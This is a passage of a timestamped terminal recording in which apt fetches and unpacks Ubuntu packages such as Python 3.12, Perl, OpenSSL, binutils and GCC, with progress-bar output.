[31.979441, "o", "86% [Working]\u001b[0m\r             \rGet:119 http://archive.ubuntu.com/ubuntu noble/main amd64 libjbig0 amd64 2.1-6.1ubuntu2 [29.7 kB]\r\n\r             \rGet:120 http://archive.ubuntu.com/ubuntu noble/main amd64 liblerc4 amd64 4.0.0+ds-4ubuntu2 [179 kB]\r\n\u001b[33m\r86% [120 liblerc4 51.8 kB/179 kB 29%]\u001b[0m"]
[31.983689, "o", "\u001b[33m\r                                     \r"]
[31.986831, "o", "86% [Working]"]
[31.999877, "o", "\u001b[0m\r             \rGet:121 http://archive.ubuntu.com/ubuntu noble/main amd64 libwebp7 amd64 1.3.2-0.4build3 [230 kB]\r\n\u001b[33m\r86% [121 libwebp7 68.8 kB/230 kB 30%]\u001b[0m\u001b[33m\r                                     \r87% [Working]\u001b[0m\r             \rGet:122 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libtiff6 amd64 4.5.1+git230720-4ubuntu2.5 [200 kB]\r\n\u001b[33m\r87% [122 libtiff6 188 kB/200 kB 94%]\u001b[0m"]
[32.002473, "o", "\u001b[33m\r                                    \r87% [Working]\u001b[0m"]
[32.010964, "o", "\r             \rGet:123 http://archive.ubuntu.com/ubuntu noble/main amd64 libxpm4 amd64 1:3.5.17-1build2 [36.5 kB]\r\n\u001b[33m\r87% [123 libxpm4 0 B/36.5 kB 0%]\u001b[0m"]
[32.018383, "o", "\u001b[33m\r                                \r87% [Working]\u001b[0m"]
[32.028305, "o", "\r             \rGet:124 http://archive.ubuntu.com/ubuntu noble/main amd64 libgd3 amd64 2.3.3-9ubuntu5 [128 kB]\r\n\u001b[33m\r87% [124 libgd3 0 B/128 kB 0%]\u001b[0m"]
[32.030762, "o", "\u001b[33m\r                              \r87% [Working]\u001b[0m\r             \rGet:125 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libc-devtools amd64 2.39-0ubuntu8.7 [29.3 kB]\r\n\u001b[33m\r87% [125 libc-devtools 17.5 kB/29.3 kB 60%]\u001b[0m"]
[32.035285, "o", "\r                                           \rGet:126 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libexpat1-dev amd64 2.6.1-2ubuntu0.4 [140 kB]\r\n\u001b[33m\r                                           \r88% [126 libexpat1-dev 53.4 kB/140 kB 38%]\u001b[0m"]
[32.03851, "o", "\r                                          \rGet:127 http://archive.ubuntu.com/ubuntu noble/main amd64 libfile-fcntllock-perl amd64 0.22-4ubuntu5 [30.7 kB]\r\n\u001b[33m\r88% [127 libfile-fcntllock-perl 30.7 kB/30.7 kB 100%]\u001b[0m"]
[32.039959, "o", "\u001b[33m\r                                                     \r88% [Waiting for headers]"]
[32.040433, "o", "\u001b[0m"]
[32.066357, "o", "\r                         \rGet:128 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libheif-plugin-aomenc amd64 1.17.6-1ubuntu4.2 [14.7 kB]\r\n\r                         \r"]
[32.070371, "o", "Get:129 http://archive.ubuntu.com/ubuntu noble/main amd64 libjs-jquery all 3.6.1+dfsg+~3.5.14-1 [328 kB]\r\n\u001b[33m\r88% [129 libjs-jquery 47.5 kB/328 kB 14%]\u001b[0m"]
[32.084749, "o", "\u001b[33m\r                                         \r88% [Working]\u001b[0m"]
[32.085416, "o", "\r             \rGet:130 http://archive.ubuntu.com/ubuntu noble/main amd64 libjs-underscore all 1.13.4~dfsg+~1.11.4-3 [118 kB]\r\n\u001b[33m\r89% [130 libjs-underscore 87.3 kB/118 kB 74%]\u001b[0m"]
[32.092442, "o", "\u001b[33m\r                                             \r89% [Working]\u001b[0m\r             \rGet:131 http://archive.ubuntu.com/ubuntu noble/main amd64 libjs-sphinxdoc all 7.2.6-6 [149 kB]\r\n"]
[32.095524, "o", "\u001b[33m\r89% [131 libjs-sphinxdoc 145 kB/149 kB 97%]\u001b[0m"]
[32.098485, "o", "\u001b[33m\r                                           \r"]
[32.099878, "o", "89% [Working]\u001b[0m\r             \rGet:132 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libldap-common all 2.6.10+dfsg-0ubuntu0.24.04.1 [32.9 kB]\r\n\u001b[33m\r89% [132 libldap-common 16.7 kB/32.9 kB 51%]\u001b[0m"]
[32.121742, "o", "\u001b[33m\r                                            \r89% [Waiting for headers]\u001b[0m"]
[32.130509, "o", "\r                         \rGet:133 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libpython3.12t64 amd64 3.12.3-1ubuntu0.12 [2345 kB]\r\n\u001b[33m\r89% [133 libpython3.12t64 49.2 kB/2345 kB 2%]\u001b[0m"]
[32.209893, "o", "\r                                             \rGet:134 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 zlib1g-dev amd64 1:1.3.dfsg-3.1ubuntu2.1 [894 kB]\r\n\u001b[33m\r                                             \r91% [134 zlib1g-dev 5800 B/894 kB 1%]\u001b[0m"]
[32.24232, "o", "\u001b[33m\r                                     \r92% [Working]\u001b[0m\r             \r"]
[32.24494, "o", "Get:135 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libpython3.12-dev amd64 3.12.3-1ubuntu0.12 [5681 kB]\r\n\u001b[33m\r92% [135 libpython3.12-dev 0 B/5681 kB 0%]\u001b[0m"]
[32.515221, "o", "\u001b[33m\r                                          \r96% [Working]\u001b[0m\r             \rGet:136 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libpython3-dev amd64 3.12.3-0ubuntu2.1 [10.3 kB]\r\n\u001b[33m\r96% [136 libpython3-dev 0 B/10.3 kB 0%]"]
[32.517904, "o", "\u001b[0m\u001b[33m\r                                       \r96% [Working]\u001b[0m"]
[32.5193, "o", "\r             \r"]
[32.523274, "o", "Get:137 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libsasl2-modules amd64 2.1.28+dfsg1-5ubuntu3.1 [69.9 kB]"]
[32.535764, "o", "\r\n\u001b[33m\r96% [137 libsasl2-modules 69.9 kB/69.9 kB 100%]\u001b[0m\r                                               \rGet:138 http://archive.ubuntu.com/ubuntu noble/main amd64 manpages-dev all 6.7-2 [2013 kB]\r\n\u001b[33m\r                                               \r96% [138 manpages-dev 135 kB/2013 kB 7%]\u001b[0m"]
[32.621689, "o", "\r                                        \rGet:139 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 python3.12-dev amd64 3.12.3-1ubuntu0.12 [498 kB]\r\n\u001b[33m\r98% [139 python3.12-dev 41.5 kB/498 kB 8%]\u001b[0m"]
[32.632398, "o", "\r                                          \rGet:140 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 python3-dev amd64 3.12.3-0ubuntu2.1 [26.7 kB]\r\n\u001b[33m\r                                          \r98% [140 python3-dev 16.7 kB/26.7 kB 63%]\u001b[0m"]
[32.635298, "o", "\r                                         \r"]
[32.638366, "o", "Get:141 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 python3-setuptools all 68.1.2-2ubuntu1.2 [397 kB]\r\n\u001b[33m\r98% [141 python3-setuptools 69.7 kB/397 kB 18%]\u001b[0m"]
[32.657499, "o", "\u001b[33m\r                                               \r99% [Working]\u001b[0m\r             \rGet:142 http://archive.ubuntu.com/ubuntu noble/universe amd64 python3-wheel all 0.42.0-2 [53.1 kB]\r\n\u001b[33m\r99% [142 python3-wheel 18.0 kB/53.1 kB 34%]\u001b[0m\u001b[33m\r                                           \r99% [Working]\u001b[0m\r             \rGet:143 http://archive.ubuntu.com/ubuntu noble-updates/universe amd64 python3-pip all 24.0+dfsg-1ubuntu1.3 [1320 kB]\r\n\u001b[33m\r99% [143 python3-pip 96.8 kB/1320 kB 7%]\u001b[0m"]
[32.701015, "o", "\u001b[33m\r                                        \r100% [Working]\u001b[0m\r              \rFetched 114 MB in 6s (19.2 MB/s)\r\n"]
[32.929865, "o", "debconf: delaying package configuration, since apt-utils is not installed\r\n"]
[32.998932, "o", "\n"]
[32.999086, "o", "\u001b7\u001b[0;53r\u001b8\u001b[1A"]
[33.071949, "o", "Selecting previously unselected package liblocale-gettext-perl.\r\n(Reading database ... \r"]
[33.0749, "o", "(Reading database ... 5%\r(Reading database ... 10%\r(Reading database ... 15%\r(Reading database ... 20%\r(Reading database ... 25%\r(Reading database ... 30%\r(Reading database ... 35%\r(Reading database ... 40%\r(Reading database ... 45%\r(Reading database ... 50%\r(Reading database ... 55%\r(Reading database ... 60%\r(Reading database ... 65%\r"]
[33.077464, "o", "(Reading database ... 70%\r"]
[33.080593, "o", "(Reading database ... 75%\r"]
[33.082274, "o", "(Reading database ... 80%\r(Reading database ... 85%\r(Reading database ... 90%"]
[33.085189, "o", "\r(Reading database ... 95%\r(Reading database ... 100%\r(Reading database ... 4381 files and directories currently installed.)\r\nPreparing to unpack .../liblocale-gettext-perl_1.07-6ubuntu5_amd64.deb ..."]
[33.087533, "o", "\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [  0%]\u001b[49m\u001b[39m"]
[33.094912, "o", " [............................................................................................................................................................................................] \u001b8"]
[33.102605, "o", "Unpacking liblocale-gettext-perl (1.07-6ubuntu5) ...\r\n"]
[33.238185, "o", "Selecting previously unselected package libpython3.12-minimal:amd64.\r\n"]
[33.242343, "o", "Preparing to unpack .../libpython3.12-minimal_3.12.3-1ubuntu0.12_amd64.deb ...\r\n"]
[33.261504, "o", "Unpacking libpython3.12-minimal:amd64 (3.12.3-1ubuntu0.12) ...\r\n"]
[33.501135, "o", "Selecting previously unselected package libexpat1:amd64.\r\n"]
[33.503514, "o", "Preparing to unpack .../libexpat1_2.6.1-2ubuntu0.4_amd64.deb ...\r\n"]
[33.527912, "o", "Unpacking libexpat1:amd64 (2.6.1-2ubuntu0.4) ...\r\n"]
[33.559252, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [  1%]\u001b[49m\u001b[39m [#...........................................................................................................................................................................................] \u001b8"]
[33.689433, "o", "Selecting previously unselected package python3.12-minimal.\r\nPreparing to unpack .../python3.12-minimal_3.12.3-1ubuntu0.12_amd64.deb ...\r\n"]
[33.720649, "o", "Unpacking python3.12-minimal (3.12.3-1ubuntu0.12) ...\r\n"]
[33.9297, "o", "Setting up libpython3.12-minimal:amd64 (3.12.3-1ubuntu0.12) ...\r\n"]
[33.985291, "o", "Setting up libexpat1:amd64 (2.6.1-2ubuntu0.4) ...\r\n"]
[34.008653, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [  2%]\u001b[49m\u001b[39m [###.........................................................................................................................................................................................] \u001b8"]
[34.023288, "o", "Setting up python3.12-minimal (3.12.3-1ubuntu0.12) ...\r\n"]
[35.42488, "o", "Selecting previously unselected package python3-minimal.\r\n(Reading database ... \r"]
[35.4325, "o", "(Reading database ... 5%\r(Reading database ... 10%\r(Reading database ... 15%\r(Reading database ... 20%\r(Reading database ... 25%\r(Reading database ... 30%\r(Reading database ... 35%\r(Reading database ... 40%\r(Reading database ... 45%\r(Reading database ... 50%\r(Reading database ... 55%\r(Reading database ... 60%\r(Reading database ... 65%\r(Reading database ... 70%\r(Reading database ... 75%\r(Reading database ... 80%\r(Reading database ... 85%\r(Reading database ... 90%\r(Reading database ... 95%\r"]
[35.436101, "o", "(Reading database ... 100%\r(Reading database ... 4714 files and directories currently installed.)\r\nPreparing to unpack .../0-python3-minimal_3.12.3-0ubuntu2.1_amd64.deb ...\r\n"]
[35.448563, "o", "Unpacking python3-minimal (3.12.3-0ubuntu2.1) ...\r\n"]
[35.55256, "o", "Selecting previously unselected package media-types.\r\n"]
[35.553503, "o", "Preparing to unpack .../1-media-types_10.1.0_all.deb ...\r\n"]
[35.564896, "o", "Unpacking media-types (10.1.0) ...\r\n"]
[35.598916, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [  3%]\u001b[49m\u001b[39m [#####.......................................................................................................................................................................................] \u001b8"]
[35.662334, "o", "Selecting previously unselected package netbase.\r\nPreparing to unpack .../2-netbase_6.4_all.deb ...\r\n"]
[35.668431, "o", "Unpacking netbase (6.4) ...\r\n"]
[35.81791, "o", "Selecting previously unselected package tzdata.\r\n"]
[35.823962, "o", "Preparing to unpack .../3-tzdata_2026a-0ubuntu0.24.04.1_all.deb ...\r\n"]
[35.836639, "o", "Unpacking tzdata (2026a-0ubuntu0.24.04.1) ...\r\n"]
[36.044991, "o", "Selecting previously unselected package readline-common.\r\n"]
[36.047981, "o", "Preparing to unpack .../4-readline-common_8.2-4build1_all.deb ...\r\n"]
[36.049632, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [  4%]\u001b[49m\u001b[39m [#######.....................................................................................................................................................................................] \u001b8"]
[36.064386, "o", "Unpacking readline-common (8.2-4build1) ..."]
[36.06693, "o", "\r\n"]
[36.167903, "o", "Selecting previously unselected package libreadline8t64:amd64.\r\nPreparing to unpack .../5-libreadline8t64_8.2-4build1_amd64.deb ...\r\n"]
[36.198038, "o", "Adding 'diversion of /lib/x86_64-linux-gnu/libhistory.so.8 to /lib/x86_64-linux-gnu/libhistory.so.8.usr-is-merged by libreadline8t64'\r\n"]
[36.215849, "o", "Adding 'diversion of /lib/x86_64-linux-gnu/libhistory.so.8.2 to /lib/x86_64-linux-gnu/libhistory.so.8.2.usr-is-merged by libreadline8t64'\r\n"]
[36.222867, "o", "Adding 'diversion of /lib/x86_64-linux-gnu/libreadline.so.8 to /lib/x86_64-linux-gnu/libreadline.so.8.usr-is-merged by libreadline8t64'\r\n"]
[36.238661, "o", "Adding 'diversion of /lib/x86_64-linux-gnu/libreadline.so.8.2 to /lib/x86_64-linux-gnu/libreadline.so.8.2.usr-is-merged by libreadline8t64'\r\n"]
[36.249158, "o", "Unpacking libreadline8t64:amd64 (8.2-4build1) ...\r\n"]
[36.374116, "o", "Selecting previously unselected package libsqlite3-0:amd64.\r\n"]
[36.377413, "o", "Preparing to unpack .../6-libsqlite3-0_3.45.1-1ubuntu2.5_amd64.deb ...\r\n"]
[36.391266, "o", "Unpacking libsqlite3-0:amd64 (3.45.1-1ubuntu2.5) ...\r\n"]
[36.509749, "o", "Selecting previously unselected package libpython3.12-stdlib:amd64.\r\nPreparing to unpack .../7-libpython3.12-stdlib_3.12.3-1ubuntu0.12_amd64.deb ..."]
[36.514838, "o", "\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [  5%]\u001b[49m\u001b[39m [#########...................................................................................................................................................................................] \u001b8"]
[36.522355, "o", "Unpacking libpython3.12-stdlib:amd64 (3.12.3-1ubuntu0.12) ...\r\n"]
[36.809275, "o", "Selecting previously unselected package python3.12.\r\n"]
[36.814741, "o", "Preparing to unpack .../8-python3.12_3.12.3-1ubuntu0.12_amd64.deb ...\r\n"]
[36.839666, "o", "Unpacking python3.12 (3.12.3-1ubuntu0.12) ...\r\n"]
[36.955098, "o", "Selecting previously unselected package libpython3-stdlib:amd64.\r\n"]
[36.95827, "o", "Preparing to unpack .../9-libpython3-stdlib_3.12.3-0ubuntu2.1_amd64.deb ...\r\n"]
[36.972761, "o", "Unpacking libpython3-stdlib:amd64 (3.12.3-0ubuntu2.1) ...\r\n"]
[37.052437, "o", "Setting up python3-minimal (3.12.3-0ubuntu2.1) ...\r\n"]
[37.058449, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [  6%]\u001b[49m\u001b[39m [###########.................................................................................................................................................................................] \u001b8"]
[37.37168, "o", "Selecting previously unselected package python3.\r\n(Reading database ... \r(Reading database ... 5%\r(Reading database ... 10%\r(Reading database ... 15%\r(Reading database ... 20%\r(Reading database ... 25%\r(Reading database ... 30%\r(Reading database ... 35%\r(Reading database ... 40%\r(Reading database ... 45%\r(Reading database ... 50%\r(Reading database ... 55%\r(Reading database ... 60%\r(Reading database ... 65%\r(Reading database ... 70%\r(Reading database ... 75%\r(Reading database ... 80%\r(Reading database ... 85%\r(Reading database ... 90%\r(Reading database ... 95%\r(Reading database ... 100%\r(Reading database ... 5720 files and directories currently installed.)\r\nPreparing to unpack .../0-python3_3.12.3-0ubuntu2.1_amd64.deb ...\r\n"]
[37.398493, "o", "Unpacking python3 (3.12.3-0ubuntu2.1) ...\r\n"]
[37.49733, "o", "Selecting previously unselected package perl-modules-5.38.\r\nPreparing to unpack .../1-perl-modules-5.38_5.38.2-3.2ubuntu0.2_all.deb ...\r\n"]
[37.507841, "o", "Unpacking perl-modules-5.38 (5.38.2-3.2ubuntu0.2) ...\r\n"]
[38.152038, "o", "Selecting previously unselected package libgdbm6t64:amd64.\r\nPreparing to unpack .../2-libgdbm6t64_1.23-5.1build1_amd64.deb ...\r\n"]
[38.154005, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [  7%]\u001b[49m\u001b[39m [#############...............................................................................................................................................................................] \u001b8"]
[38.166911, "o", "Unpacking libgdbm6t64:amd64 (1.23-5.1build1) ...\r\n"]
[38.312086, "o", "Selecting previously unselected package libgdbm-compat4t64:amd64.\r\nPreparing to unpack .../3-libgdbm-compat4t64_1.23-5.1build1_amd64.deb ...\r\n"]
[38.32667, "o", "Unpacking libgdbm-compat4t64:amd64 (1.23-5.1build1) ...\r\n"]
[38.438527, "o", "Selecting previously unselected package libperl5.38t64:amd64.\r\nPreparing to unpack .../4-libperl5.38t64_5.38.2-3.2ubuntu0.2_amd64.deb ...\r\n"]
[38.448915, "o", "Unpacking libperl5.38t64:amd64 (5.38.2-3.2ubuntu0.2) ...\r\n"]
[38.97906, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [  8%]\u001b[49m\u001b[39m [###############.............................................................................................................................................................................] \u001b8"]
[39.052423, "o", "Selecting previously unselected package perl.\r\nPreparing to unpack .../5-perl_5.38.2-3.2ubuntu0.2_amd64.deb ...\r\n"]
[39.077747, "o", "Unpacking perl (5.38.2-3.2ubuntu0.2) ...\r\n"]
[39.238277, "o", "Selecting previously unselected package adduser.\r\nPreparing to unpack .../6-adduser_3.137ubuntu1_all.deb ..."]
[39.243712, "o", "\r\n"]
[39.264709, "o", "Unpacking adduser (3.137ubuntu1) ...\r\n"]
[39.378374, "o", "Setting up adduser (3.137ubuntu1) ...\r\n"]
[39.417636, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [  9%]\u001b[49m\u001b[39m [#################...........................................................................................................................................................................] \u001b8"]
[39.501478, "o", "Selecting previously unselected package openssl.\r\n(Reading database ... \r"]
[39.502679, "o", "(Reading database ... 5%\r(Reading database ... 10%\r(Reading database ... 15%\r(Reading database ... 20%\r(Reading database ... 25%\r(Reading database ... 30%\r(Reading database ... 35%\r(Reading database ... 40%\r(Reading database ... 45%\r(Reading database ... 50%\r(Reading database ... 55%\r(Reading database ... 60%\r(Reading database ... 65%\r(Reading database ... 70%\r"]
[39.505304, "o", "(Reading database ... 75%\r"]
[39.511572, "o", "(Reading database ... 80%\r(Reading database ... 85%\r(Reading database ... 90%\r(Reading database ... 95%\r(Reading database ... 100%\r(Reading database ... 7801 files and directories currently installed.)\r\nPreparing to unpack .../000-openssl_3.0.13-0ubuntu3.7_amd64.deb ...\r\n"]
[39.529048, "o", "Unpacking openssl (3.0.13-0ubuntu3.7) ..."]
[39.531631, "o", "\r\n"]
[39.669113, "o", "Selecting previously unselected package ca-certificates.\r\nPreparing to unpack .../001-ca-certificates_20240203_all.deb ...\r\n"]
[39.683203, "o", "Unpacking ca-certificates (20240203) ...\r\n"]
[39.829786, "o", "Selecting previously unselected package libbsd0:amd64.\r\nPreparing to unpack .../002-libbsd0_0.12.1-1build1.1_amd64.deb ...\r\n"]
[39.841569, "o", "Unpacking libbsd0:amd64 (0.12.1-1build1.1) ...\r\n"]
[39.876347, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 10%]\u001b[49m\u001b[39m [###################.........................................................................................................................................................................] \u001b8"]
[39.959525, "o", "Selecting previously unselected package python3-pkg-resources.\r\nPreparing to unpack .../003-python3-pkg-resources_68.1.2-2ubuntu1.2_all.deb ...\r\n"]
[39.970365, "o", "Unpacking python3-pkg-resources (68.1.2-2ubuntu1.2) ...\r\n"]
[40.076987, "o", "Selecting previously unselected package libjansson4:amd64."]
[40.084292, "o", "\r\nPreparing to unpack .../004-libjansson4_2.14-2build2_amd64.deb ...\r\n"]
[40.091631, "o", "Unpacking libjansson4:amd64 (2.14-2build2) ...\r\n"]
[40.158184, "o", "Selecting previously unselected package libpng16-16t64:amd64.\r\nPreparing to unpack .../005-libpng16-16t64_1.6.43-5ubuntu0.5_amd64.deb ...\r\n"]
[40.169864, "o", "Unpacking libpng16-16t64:amd64 (1.6.43-5ubuntu0.5) ...\r\n"]
[40.203347, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 11%]\u001b[49m\u001b[39m [####################........................................................................................................................................................................] \u001b8"]
[40.294793, "o", "Selecting previously unselected package libxau6:amd64.\r\nPreparing to unpack .../006-libxau6_1%3a1.0.9-1build6_amd64.deb ...\r\n"]
[40.315457, "o", "Unpacking libxau6:amd64 (1:1.0.9-1build6) ...\r\n"]
[40.436647, "o", "Selecting previously unselected package libxdmcp6:amd64.\r\nPreparing to unpack .../007-libxdmcp6_1%3a1.1.3-0ubuntu6_amd64.deb ...\r\n"]
[40.45157, "o", "Unpacking libxdmcp6:amd64 (1:1.1.3-0ubuntu6) ...\r\n"]
[40.558236, "o", "Selecting previously unselected package libxcb1:amd64.\r\n"]
[40.562001, "o", "Preparing to unpack .../008-libxcb1_1.15-1ubuntu2_amd64.deb ..."]
[40.567467, "o", "\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 12%]\u001b[49m\u001b[39m [######################......................................................................................................................................................................] \u001b8"]
[40.582818, "o", "Unpacking libxcb1:amd64 (1.15-1ubuntu2) ...\r\n"]
[40.668484, "o", "Selecting previously unselected package libx11-data.\r\n"]
[40.676317, "o", "Preparing to unpack .../009-libx11-data_2%3a1.8.7-1build1_all.deb ...\r\n"]
[40.693645, "o", "Unpacking libx11-data (2:1.8.7-1build1) ...\r\n"]
[40.874803, "o", "Selecting previously unselected package libx11-6:amd64.\r\nPreparing to unpack .../010-libx11-6_2%3a1.8.7-1build1_amd64.deb ...\r\n"]
[40.883837, "o", "Unpacking libx11-6:amd64 (2:1.8.7-1build1) ...\r\n"]
[41.046483, "o", "Selecting previously unselected package manpages.\r\nPreparing to unpack .../011-manpages_6.7-2_all.deb ...\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 13%]\u001b[49m\u001b[39m [########################....................................................................................................................................................................] \u001b8"]
[41.066043, "o", "Unpacking manpages (6.7-2) ..."]
[41.068968, "o", "\r\n"]
[41.193262, "o", "Selecting previously unselected package xz-utils.\r\n"]
[41.194944, "o", "Preparing to unpack .../012-xz-utils_5.6.1+really5.4.5-1ubuntu0.2_amd64.deb ...\r\n"]
[41.208427, "o", "Unpacking xz-utils (5.6.1+really5.4.5-1ubuntu0.2) ...\r\n"]
[41.310488, "o", "Selecting previously unselected package binutils-common:amd64.\r\nPreparing to unpack .../013-binutils-common_2.42-4ubuntu2.10_amd64.deb ...\r\n"]
[41.31695, "o", "Unpacking binutils-common:amd64 (2.42-4ubuntu2.10) ...\r\n"]
[41.418614, "o", "Selecting previously unselected package libsframe1:amd64.\r\n"]
[41.424633, "o", "Preparing to unpack .../014-libsframe1_2.42-4ubuntu2.10_amd64.deb ...\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 14%]\u001b[49m\u001b[39m [##########################..................................................................................................................................................................] \u001b8"]
[41.434507, "o", "Unpacking libsframe1:amd64 (2.42-4ubuntu2.10) ...\r\n"]
[41.52637, "o", "Selecting previously unselected package libbinutils:amd64.\r\n"]
[41.526495, "o", "Preparing to unpack .../015-libbinutils_2.42-4ubuntu2.10_amd64.deb ...\r\n"]
[41.537753, "o", "Unpacking libbinutils:amd64 (2.42-4ubuntu2.10) ..."]
[41.541954, "o", "\r\n"]
[41.683448, "o", "Selecting previously unselected package libctf-nobfd0:amd64.\r\nPreparing to unpack .../016-libctf-nobfd0_2.42-4ubuntu2.10_amd64.deb ...\r\n"]
[41.69418, "o", "Unpacking libctf-nobfd0:amd64 (2.42-4ubuntu2.10) ...\r\n"]
[41.730461, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 15%]\u001b[49m\u001b[39m [############################................................................................................................................................................................] \u001b8"]
[41.797009, "o", "Selecting previously unselected package libctf0:amd64.\r\n"]
[41.802635, "o", "Preparing to unpack .../017-libctf0_2.42-4ubuntu2.10_amd64.deb ...\r\n"]
[41.815233, "o", "Unpacking libctf0:amd64 (2.42-4ubuntu2.10) ...\r\n"]
[41.912054, "o", "Selecting previously unselected package libgprofng0:amd64.\r\nPreparing to unpack .../018-libgprofng0_2.42-4ubuntu2.10_amd64.deb ..."]
[41.915321, "o", "\r\n"]
[41.929304, "o", "Unpacking libgprofng0:amd64 (2.42-4ubuntu2.10) ...\r\n"]
[42.080371, "o", "Selecting previously unselected package binutils-x86-64-linux-gnu.\r\nPreparing to unpack .../019-binutils-x86-64-linux-gnu_2.42-4ubuntu2.10_amd64.deb ...\r\n"]
[42.091264, "o", "Unpacking binutils-x86-64-linux-gnu (2.42-4ubuntu2.10) ...\r\n"]
[42.33483, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 16%]\u001b[49m\u001b[39m"]
[42.336761, "o", " [##############################..............................................................................................................................................................] \u001b8"]
[42.39104, "o", "Selecting previously unselected package binutils.\r\n"]
[42.395003, "o", "Preparing to unpack .../020-binutils_2.42-4ubuntu2.10_amd64.deb ...\r\n"]
[42.408407, "o", "Unpacking binutils (2.42-4ubuntu2.10) ...\r\n"]
[42.474458, "o", "Selecting previously unselected package libc-dev-bin.\r\nPreparing to unpack .../021-libc-dev-bin_2.39-0ubuntu8.7_amd64.deb ..."]
[42.47575, "o", "\r\n"]
[42.485972, "o", "Unpacking libc-dev-bin (2.39-0ubuntu8.7) ...\r\n"]
[42.548296, "o", "Selecting previously unselected package linux-libc-dev:amd64.\r\n"]
[42.553356, "o", "Preparing to unpack .../022-linux-libc-dev_6.8.0-107.107_amd64.deb ...\r\n"]
[42.570514, "o", "Unpacking linux-libc-dev:amd64 (6.8.0-107.107) ..."]
[42.571864, "o", "\r\n"]
[43.123285, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 17%]\u001b[49m\u001b[39m [################################............................................................................................................................................................] \u001b8"]
[43.206473, "o", "Selecting previously unselected package libcrypt-dev:amd64.\r\n"]
[43.210606, "o", "Preparing to unpack .../023-libcrypt-dev_1%3a4.4.36-4build1_amd64.deb ...\r\n"]
[43.244993, "o", "Unpacking libcrypt-dev:amd64 (1:4.4.36-4build1) ...\r\n"]
[43.394362, "o", "Selecting previously unselected package rpcsvc-proto.\r\nPreparing to unpack .../024-rpcsvc-proto_1.4.2-0ubuntu7_amd64.deb ...\r\n"]
[43.40496, "o", "Unpacking rpcsvc-proto (1.4.2-0ubuntu7) ...\r\n"]
[43.48266, "o", "Selecting previously unselected package libc6-dev:amd64.\r\nPreparing to unpack .../025-libc6-dev_2.39-0ubuntu8.7_amd64.deb ...\r\n"]
[43.490608, "o", "Unpacking libc6-dev:amd64 (2.39-0ubuntu8.7) ...\r\n"]
[43.809997, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 18%]\u001b[49m\u001b[39m [##################################..........................................................................................................................................................] \u001b8"]
[43.876019, "o", "Selecting previously unselected package gcc-13-base:amd64.\r\n"]
[43.87875, "o", "Preparing to unpack .../026-gcc-13-base_13.3.0-6ubuntu2~24.04.1_amd64.deb ...\r\n"]
[43.89656, "o", "Unpacking gcc-13-base:amd64 (13.3.0-6ubuntu2~24.04.1) ..."]
[43.899611, "o", "\r\n"]
[44.05584, "o", "Selecting previously unselected package libisl23:amd64.\r\n"]
[44.06, "o", "Preparing to unpack .../027-libisl23_0.26-3build1.1_amd64.deb ...\r\n"]
[44.074349, "o", "Unpacking libisl23:amd64 (0.26-3build1.1) ...\r\n"]
[44.212969, "o", "Selecting previously unselected package libmpfr6:amd64.\r\nPreparing to unpack .../028-libmpfr6_4.2.1-1build1.1_amd64.deb ...\r\n"]
[44.213754, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 19%]\u001b[49m\u001b[39m [###################################.........................................................................................................................................................] \u001b8"]
[44.228732, "o", "Unpacking libmpfr6:amd64 (4.2.1-1build1.1) ...\r\n"]
[44.372891, "o", "Selecting previously unselected package libmpc3:amd64.\r\nPreparing to unpack .../029-libmpc3_1.3.1-1build1.1_amd64.deb ...\r\n"]
[44.389514, "o", "Unpacking libmpc3:amd64 (1.3.1-1build1.1) ...\r\n"]
[44.468125, "o", "Selecting previously unselected package cpp-13-x86-64-linux-gnu.\r\n"]
[44.471592, "o", "Preparing to unpack .../030-cpp-13-x86-64-linux-gnu_13.3.0-6ubuntu2~24.04.1_amd64.deb ...\r\n"]
[44.484481, "o", "Unpacking cpp-13-x86-64-linux-gnu (13.3.0-6ubuntu2~24.04.1) ...\r\n"]
[44.963342, "o", "Selecting previously unselected package cpp-13.\r\n"]
[44.966029, "o", "Preparing to unpack .../031-cpp-13_13.3.0-6ubuntu2~24.04.1_amd64.deb ..."]
[44.968995, "o", "\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 20%]\u001b[49m\u001b[39m [#####################################.......................................................................................................................................................] \u001b8"]
[44.986315, "o", "Unpacking cpp-13 (13.3.0-6ubuntu2~24.04.1) ...\r\n"]
[45.054465, "o", "Selecting previously unselected package cpp-x86-64-linux-gnu."]
[45.055794, "o", "\r\nPreparing to unpack .../032-cpp-x86-64-linux-gnu_4%3a13.2.0-7ubuntu1_amd64.deb ..."]
[45.057619, "o", "\r\n"]
